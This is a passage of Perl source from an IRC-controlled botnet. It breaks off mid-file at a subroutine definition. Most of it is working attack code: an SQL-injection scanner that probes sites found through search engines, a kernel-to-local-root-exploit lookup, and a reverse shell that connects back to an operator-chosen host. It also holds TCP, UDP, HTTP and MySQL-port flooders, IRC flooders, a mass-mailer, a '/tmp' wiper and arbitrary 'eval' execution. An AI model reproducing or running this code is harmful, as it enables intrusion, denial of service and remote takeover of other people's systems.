  610. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  611. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  612. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  613. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  614. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  615. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  616. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  617. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  618. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  619. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  620. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  621.  
  622. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  623.  
  624. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  625. my @puliti=&unici(@tot);
  626.  
  627. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  628.  
  629. my $uni=scalar(@puliti);
  630.  
  631. foreach my $sito (@puliti) {
  632.  
  633. $contatore++;
  634. if ($contatore %5==0){
  635. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  636. }
  637. sleep 3;
  638. if ($contatore==$uni-1){
  639. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  640. }
  641. sleep 3;
  642. my $site="http://".$sito.$bug;
  643. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  644.  
  645. $w=int rand(999);
  646. $w=$w*1000;
  647. for($i=1;$i<=$columns;$i++) {
  648. splice(@col,0,$#col+1);
  649. for($j=1;$j<=$i;$j++) {
  650. push(@col,$w+$j);
  651. }
  652. $tmp=join(",",@col);
  653. $test=$site."-1+UNION+SELECT+".$tmp."/*";
  654. print $test."\n";
  655. $result=get_html($test);
  656. $result =~ s/\/\*\*\///g;
  657. $result =~ s/UNION([^(\*)]*)//g;
  658. for($k=1;$k<=$i;$k++) {
  659. $n=$w+$k;
  660. if($result =~ /$n/){
  661. splice(@col2,0,$#col2+1);
  662. for($s=1;$s<=$i;$s++) {
  663. push(@col2,$s);
  664. }
  665. $tmp2=join(",",@col2);
  666. $test2="+UNION+SELECT+".$tmp2."/*";
  667. push @{$dane{$test2}},$k;
  668. }
  669. }
  670. }
  671. for $klucz (keys %dane) {
  672. foreach $i(@{$dane{$klucz}}) {
  673. $klucz =~ s/$i/$i/;
  674. }
  675. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site."-1".$klucz." ]  ");
  676. }
  677. %dane=();
  678. }
  679. }
  680. delproc($$);
  681. exit;
  682. }
  683. }
  684. ####### SQL SCANNER #########
  685.  
  686. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  687. if (my $pid = fork) {
  688. waitpid($pid, 0);
  689. } else {
  690. if (my $d=fork()) {
  691. addproc($d,"[String] $2");
  692. exit;
  693. } else {
  694. $kto = $1;
  695. $host = $2;
  696. $skrypt = $3;
  697. $czekac=$4;
  698.  
  699. #http://ttl.ugu.pl/string/index.php
  700. my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  701. print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  702.  
  703. my @r = <$socke>;
  704. $page="@r";
  705.  
  706. $page =~ s/!scan(\s+)//g;
  707. $page =~ s/!scan(.)//g;
  708. $page =~ s/\<.*\>//g;
  709.  
  710. @lines = split (/\n/, $page);
  711. $ile=scalar(@lines);
  712.  
  713.  
  714. for($i=9;$i<=$ile;$i+=4) {
  715.  
  716. for($j=0;$j<4;$j++) {
  717. #print $lines[$i+$j]."\n";
  718.  
  719. sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  720.  
  721. sleep 10;
  722. }
  723.  
  724. sleep $czekac*60;
  725. }
  726.  
  727. }
  728. delproc($$);
  729. exit;
  730. }
  731. }
  732.  
  733.  
  734.  
  735.  
  736.  
  737. ####### SQL SCANNER #########
  738.  
  739. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  740. if (my $pid = fork()) {
  741. waitpid($pid, 0);
  742. } else {
  743. if (my $d=fork()) {
  744. addproc($d,"[SQL1] $1 $2");
  745. exit;
  746. } else {
  747. my $site=$1;
  748. my $columns=$2;
  749. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  750.  
  751. $w=int rand(999);
  752. $w=$w*1000;
  753. for($i=1;$i<=$columns;$i++) {
  754. splice(@col,0,$#col+1);
  755. for($j=1;$j<=$i;$j++) {
  756. push(@col,$w+$j);
  757. }
  758. $tmp=join(",",@col);
  759. $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  760. #$result=query($test);
  761. $result=get_html($test);
  762.  
  763. $result =~ s/\/\*\*\///g;
  764. $result =~ s/UNION([^(\*)]*)//g;
  765. for($k=1;$k<=$i;$k++) {
  766. $n=$w+$k;
  767. if($result =~ /$n/){
  768. splice(@col2,0,$#col2+1);
  769. for($s=1;$s<=$i;$s++) {
  770. push(@col2,$s);
  771. }
  772. $tmp2=join(",",@col2);
  773. $test2="+UNION+SELECT+".$tmp2."/*";
  774. push @{$dane{$test2}},$k;
  775. }
  776. }
  777. }
  778. for $klucz (keys %dane) {
  779. foreach $i(@{$dane{$klucz}}) {
  780. $klucz =~ s/$i/$i/;
  781. }
  782. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site.$bug."-1".$klucz." ]  ");
  783. }
  784. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");
  785. }
  786. delproc($$);
  787. exit;
  788. }
  789. }
  790. ####### SQL SCANNER #########
  791. ######################
  792. # Rootable #
  793. ######################
  794. if ($funcarg =~ /^rootable/) {
  795. my $khost = `uname -r`;
  796. my $currentid = `whoami`;
  797. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  798. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  799. chomp($khost);
  800.  
  801. my %h;
  802. $h{'w00t'} = {
  803. vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  804. };
  805.  
  806. $h{'brk'} = {
  807. vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  808. };
  809.  
  810. $h{'ave'} = {
  811. vuln=>['2.4.19','2.4.20']
  812. };
  813.  
  814. $h{'elflbl'} = {
  815. vuln=>['2.4.29']
  816. };
  817.  
  818. $h{'elfdump'} = {
  819. vuln=>['2.4.27']
  820. };
  821.  
  822. $h{'expand_stack'} = {
  823. vuln=>['2.4.29']
  824. };
  825.  
  826. $h{'h00lyshit'} = {
  827. vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  828. };
  829.  
  830. $h{'kdump'} = {
  831. vuln=>['2.6.13']
  832. };
  833.  
  834. $h{'km2'} = {
  835. vuln=>['2.4.18','2.4.22']
  836. };
  837.  
  838. $h{'krad'} = {
  839. vuln=>['2.6.11']
  840. };
  841.  
  842. $h{'krad3'} = {
  843. vuln=>['2.6.11','2.6.9']
  844. };
  845.  
  846. $h{'local26'} = {
  847. vuln=>['2.6.13']
  848. };
  849.  
  850. $h{'loko'} = {
  851. vuln=>['2.4.22','2.4.23','2.4.24']
  852. };
  853.  
  854. $h{'mremap_pte'} = {
  855. vuln=>['2.4.20','2.2.25','2.4.24']
  856. };
  857.  
  858. $h{'newlocal'} = {
  859. vuln=>['2.4.17','2.4.19','2.4.18']
  860. };
  861.  
  862. $h{'ong_bak'} = {
  863. vuln=>['2.4.','2.6.']
  864. };
  865.  
  866. $h{'ptrace'} = {
  867. vuln=>['2.2.','2.4.22']
  868. };
  869.  
  870. $h{'ptrace_kmod'} = {
  871. vuln=>['2.4.2']
  872. };
  873.  
  874. $h{'ptrace24'} = {
  875. vuln=>['2.4.9']
  876. };
  877.  
  878. $h{'pwned'} = {
  879. vuln=>['2.4.','2.6.']
  880. };
  881.  
  882. $h{'py2'} = {
  883. vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  884. };
  885.  
  886. $h{'raptor_prctl'} = {
  887. vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  888. };
  889.  
  890. $h{'prctl3'} = {
  891. vuln=>['2.6.13','2.6.17','2.6.9']
  892. };
  893.  
  894. $h{'remap'} = {
  895. vuln=>['2.4.']
  896. };
  897.  
  898. $h{'rip'} = {
  899. vuln=>['2.2.']
  900. };
  901.  
  902. $h{'stackgrow2'} = {
  903. vuln=>['2.4.29','2.6.10']
  904. };
  905.  
  906. $h{'uselib24'} = {
  907. vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  908. };
  909.  
  910. $h{'newsmp'} = {
  911. vuln=>['2.6.']
  912. };
  913.  
  914. $h{'smpracer'} = {
  915. vuln=>['2.4.29']
  916. };
  917.  
  918. $h{'loginx'} = {
  919. vuln=>['2.4.22']
  920. };
  921.  
  922. $h{'exp.sh'} = {
  923. vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  924. };
  925.  
  926. $h{'prctl'} = {
  927. vuln=>['2.6.']
  928. };
  929.  
  930. $h{'kmdx'} = {
  931. vuln=>['2.6.','2.4.']
  932. };
  933.  
  934. $h{'raptor'} = {
  935. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  936. };
  937.  
  938. $h{'raptor2'} = {
  939. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  940. };
  941.  
  942. foreach my $key(keys %h){
  943. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  944. if($khost=~/^$kernel/){
  945. chop($kernel) if ($kernel=~/.$/);
  946. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  947. }
  948. }
  949. }
  950. }
  951. ######################
  952. # MAILER #
  953. ######################
  954. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  955. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Sending Mail to : 2 $3");
  956. $subject = $1;
  957. $sender = $2;
  958. $recipient = $3;
  959. @corpo = $4;
  960. $mailtype = "content-type: text/html";
  961. $sendmail = '/usr/sbin/sendmail';
  962. open (SENDMAIL, "| $sendmail -t");
  963. print SENDMAIL "$mailtype\n";
  964. print SENDMAIL "Subject: $subject\n";
  965. print SENDMAIL "From: $sender\n";
  966. print SENDMAIL "To: $recipient\n\n";
  967. print SENDMAIL "@corpo\n\n";
  968. close (SENDMAIL);
  969. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Mail Sent To : 2 $recipient");
  970. }
  971. ######################
  972. # End of MAILER #
  973. ######################
  974. # A /tmp cleaner
  975. if ($funcarg =~ /^cleartmp/) {
  976. system 'cd /tmp;rm -rf *';
  977. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  978. }
  979. #-#-#-#-#-#-#-#-#
  980. # Flooders IRC #
  981. #-#-#-#-#-#-#-#-#
  982. # msg, @msgflood <who>
  983. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  984. for($i=0; $i<=10; $i+=1){
  985. sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  986. }
  987. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  988. }
  989.  
  990. # dccflood, @dccflood <who>
  991. if ($funcarg =~ /^dccflood (.*)/) {
  992. for($i=0; $i<=10; $i+=1){
  993. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  994. }
  995. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  996. }
  997. # ctcpflood, @ctcpflood <who>
  998. if ($funcarg =~ /^ctcpflood (.*)/) {
  999. for($i=0; $i<=10; $i+=1){
  1000. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1001. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1002. }
  1003. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  1004. }
  1005. # noticeflood, @noticeflood <who>
  1006. if ($funcarg =~ /^noticeflood (.*)/) {
  1007. for($i=0; $i<=10; $i+=1){
  1008. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  1009. }
  1010. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  1011. }
  1012. # Channel Flood, @channelflood
  1013. if ($funcarg =~ /^channelflood/) {
  1014. for($i=0; $i<=25; $i+=1){
  1015. sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  1016. }
  1017. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  1018. }
  1019. # Maxi Flood, @maxiflood
  1020. if ($funcarg =~ /^maxiflood(.*)/) {
  1021. for($i=0; $i<=15; $i+=1){
  1022. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  1023. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1024. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1025. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");
  1026. }
  1027. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  1028. }
  1029. ######################
  1030. # irc #
  1031. ######################
  1032. if ($funcarg =~ /^reset/) {
  1033. sendraw($IRC_cur_socket, "QUIT :");
  1034. }
  1035. if ($funcarg =~ /^join (.*)/) {
  1036. sendraw($IRC_cur_socket, "JOIN ".$1);
  1037. }
  1038. if ($funcarg =~ /^part (.*)/) {
  1039. sendraw($IRC_cur_socket, "PART ".$1);
  1040. }
  1041. if ($funcarg =~ /^voice (.*)/) {
  1042. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1043. }
  1044. if ($funcarg =~ /^devoice (.*)/) {
  1045. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1046. }
  1047. if ($funcarg =~ /^halfop (.*)/) {
  1048. sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1049. }
  1050. if ($funcarg =~ /^dehalfop (.*)/) {
  1051. sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1052. }
  1053. if ($funcarg =~ /^owner (.*)/) {
  1054. sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1055. }
  1056. if ($funcarg =~ /^deowner (.*)/) {
  1057. sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1058. }
  1059. if ($funcarg =~ /^op (.*)/) {
  1060. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1061. }
  1062. if ($funcarg =~ /^deop (.*)/) {
  1063. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1064. }
  1065. ######################
  1066. #End of Join And Part#
  1067. ######################
  1068. ######################
  1069. # TCPFlood #
  1070. ######################
  1071.  
  1072. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1073. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1074. my $itime = time;
  1075. my ($cur_time);
  1076. $cur_time = time - $itime;
  1077. while ($3>$cur_time){
  1078. $cur_time = time - $itime;
  1079. &tcpflooder("$1","$2","$3");
  1080. }
  1081. sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1082. }
  1083. ######################
  1084. # End of TCPFlood #
  1085. ######################
  1086. ######################
  1087. # SQL Fl00dEr #
  1088. ######################
  1089. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1090. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1091. my $itime = time;
  1092. my ($cur_time);
  1093. $cur_time = time - $itime;
  1094. while ($2>$cur_time){
  1095. $cur_time = time - $itime;
  1096. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1097. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1098. close($socket);
  1099. }
  1100. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1101. }
  1102. ######################
  1103. # Back Connect #
  1104.  
  1105. ######################
  1106. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1107. my $host = "$1";
  1108. my $porta = "$2";
  1109. my $proto = getprotobyname('tcp');
  1110. my $iaddr = inet_aton($host);
  1111. my $paddr = sockaddr_in($porta, $iaddr);
  1112. my $shell = "/bin/sh -i";
  1113. if ($^O eq "MSWin32") {
  1114. $shell = "cmd.exe";
  1115. }
  1116. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1117. connect(SOCKET, $paddr) or die "connect: $!";
  1118. open(STDIN, ">&SOCKET");
  1119. open(STDOUT, ">&SOCKET");
  1120. open(STDERR, ">&SOCKET");
  1121. system("$shell");
  1122. close(STDIN);
  1123. close(STDOUT);
  1124. close(STDERR);
  1125. if ($estatisticas){
  1126. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1127. }
  1128. }
  1129. ######################
  1130. #End of Back Connect#
  1131. ######################
  1132. ######################
  1133. # MULTI SCANNER #
  1134. ######################
  1135. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1136. if (my $pid = fork) {
  1137. waitpid($pid, 0);
  1138. } else {
  1139. if (fork) {
  1140. exit;
  1141. } else {
  1142. my $bug=$1;
  1143. my $dork=$2;
  1144. my $contatore=0;
  1145. my ($type,$space);
  1146. my %hosts;
  1147. ### Start Message
  1148. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1149. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1150. ### End of Start Message
  1151. # Starting Google
  1152. my @glist=&google($dork);
  1153. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1154. my @mlist=&msn($dork);
  1155. my @asklist=&ask($dork);
  1156. my @allist=&alltheweb($dork);
  1157. my @aollist=&aol($dork);
  1158. my @lycos=&lycos($dork);
  1159. my @ylist=&yahoo($dork);
  1160. my @mzlist=&mozbot($dork);
  1161. my @mamalist&mamma($dork);
  1162. my @hlist=&hotbot($dork);
  1163. my @altlist=&altavista($dork);
  1164. my @slist=&search($dork);
  1165. my @ulist=&uol($dork);
  1166. my @fireball=&fireball($dork);
  1167. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1168. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1169. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1170. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1171. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1172. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1173. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1174. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1175. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1176. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1177. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1178. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1179. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1180. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1181. #
  1182. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1183. my @puliti=&unici(@tot);
  1184. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1185. my $uni=scalar(@puliti);
  1186. foreach my $sito (@puliti)
  1187. {
  1188. $contatore++;
  1189. if ($contatore %100==0){
  1190. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting 7[".$contatore."7] of 7[".$uni. "7] Sites");
  1191. }
  1192. if ($contatore==$uni-1){
  1193. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for $dork");
  1194. }
  1195. ### Print CMD and TEST CMD###
  1196. my $test="http://".$sito.$bug.$id."?";
  1197. my $print="http://".$sito.$bug.$cmd."?";
  1198. ### End of Print CMD and TEST CMD###
  1199. my $req=HTTP::Request->new(GET=>$test);
  1200. my $ua=LWP::UserAgent->new();
  1201. $ua->timeout(4);
  1202. my $response=$ua->request($req);
  1203. if ($response->is_success) {
  1204. my $re=$response->content;
  1205. if($re =~ /Mic22/ && $re =~ /uid=/){
  1206. my $hs=geths($print); $hosts{$hs}++;
  1207. if($hosts{$hs}=="1"){
  1208. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = OFF :. | Vuln: $print ");
  1209. }}
  1210. elsif($re =~ /Mic22/)
  1211. {
  1212. my $hs=geths($print); $hosts{$hs}++;
  1213. if($hosts{$hs}=="1"){
  1214. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = ON :. | Vuln: $print ");
  1215. }}
  1216. }}}
  1217. exit;
  1218. }}}
  1219. ######################
  1220. #End of MultiSCANNER #
  1221. ######################
  1222. ######################
  1223. # HTTPFlood #
  1224. ######################
  1225. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1226. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1227. my $itime = time;
  1228. my ($cur_time);
  1229. $cur_time = time - $itime;
  1230. while ($2>$cur_time){
  1231. $cur_time = time - $itime;
  1232. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1233. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1234. close($socket);
  1235. }
  1236. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1237. }
  1238. ######################
  1239. # End of HTTPFlood #
  1240. ######################
  1241. ######################
  1242. # UDPFlood #
  1243. ######################
  1244. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1245. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1246. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1247. $dtime = 1 if $dtime == 0;
  1248. my %bytes;
  1249. $bytes{igmp} = $2 * $pacotes{igmp};
  1250. $bytes{icmp} = $2 * $pacotes{icmp};
  1251. $bytes{o} = $2 * $pacotes{o};
  1252. $bytes{udp} = $2 * $pacotes{udp};
  1253. $bytes{tcp} = $2 * $pacotes{tcp};
  1254. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1255. }
  1256. ######################
  1257. # End of Udpflood #
  1258. ######################
  1259. exit;
  1260. }
  1261. }
  1262.  
  1263. sub ircase {
  1264. my ($kem, $printl, $case) = @_;
  1265. if ($case =~ /^join (.*)/) {
  1266. j("$1");
  1267. }
  1268. if ($case =~ /^part (.*)/) {
  1269. p("$1");
  1270. }
  1271. if ($case =~ /^rejoin\s+(.*)/) {
  1272. my $chan = $1;
  1273. if ($chan =~ /^(\d+) (.*)/) {
  1274. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1275. p("$2");
  1276. j("$2");
  1277. }
  1278. } else {
  1279. p("$chan");
  1280. j("$chan");
  1281. }
  1282. }
  1283.  
  1284. if ($case =~ /^op/) {
  1285. op("$printl", "$kem") if $case eq "op";
  1286. my $oarg = substr($case, 3);
  1287. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1288. }
  1289.  
  1290. if ($case =~ /^deop/) {
  1291. deop("$printl", "$kem") if $case eq "deop";
  1292. my $oarg = substr($case, 5);
  1293. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1294. }
  1295.  
  1296. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1297. msg("$1", "$2");
  1298. }
  1299.  
  1300. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1301. for (my $cf = 1; $cf <= $1; $cf++) {
  1302. msg("$2", "$3");
  1303. }
  1304. }
  1305.  
  1306. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1307. ctcp("$1", "$2");
  1308. }
  1309.  
  1310. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1311. for (my $cf = 1; $cf <= $1; $cf++) {
  1312. ctcp("$2", "$3");
  1313. }
  1314. }
  1315.  
  1316. if ($case =~ /^nick (.*)/) {
  1317. nick("$1");
  1318. }
  1319.  
  1320. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1321. conectar("$2", "$1", 6667);
  1322. }
  1323.  
  1324. if ($case =~ /^raw (.*)/) {
  1325. sendraw("$1");
  1326. }
  1327.  
  1328. if ($case =~ /^eval (.*)/) {
  1329. eval "$1";
  1330. }
  1331. }
  1332.  
  1333. sub get_html() {
  1334. $test=$_[0];
  1335.  
  1336. $ip=$_[1];
  1337. $port=$_[2];
  1338.  
  1339. my $req=HTTP::Request->new(GET=>$test);
  1340. my $ua=LWP::UserAgent->new();
  1341. if(defined($ip) && defined($port)) {
  1342. $ua->proxy("http","http://$ip:$port/");
  1343. $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1344. }
  1345. $ua->timeout(1);
  1346. my $response=$ua->request($req);
  1347. if ($response->is_success) {
  1348. $re=$response->content;
  1349. }
  1350. return $re;
  1351. }
  1352.  
  1353. sub addproc {
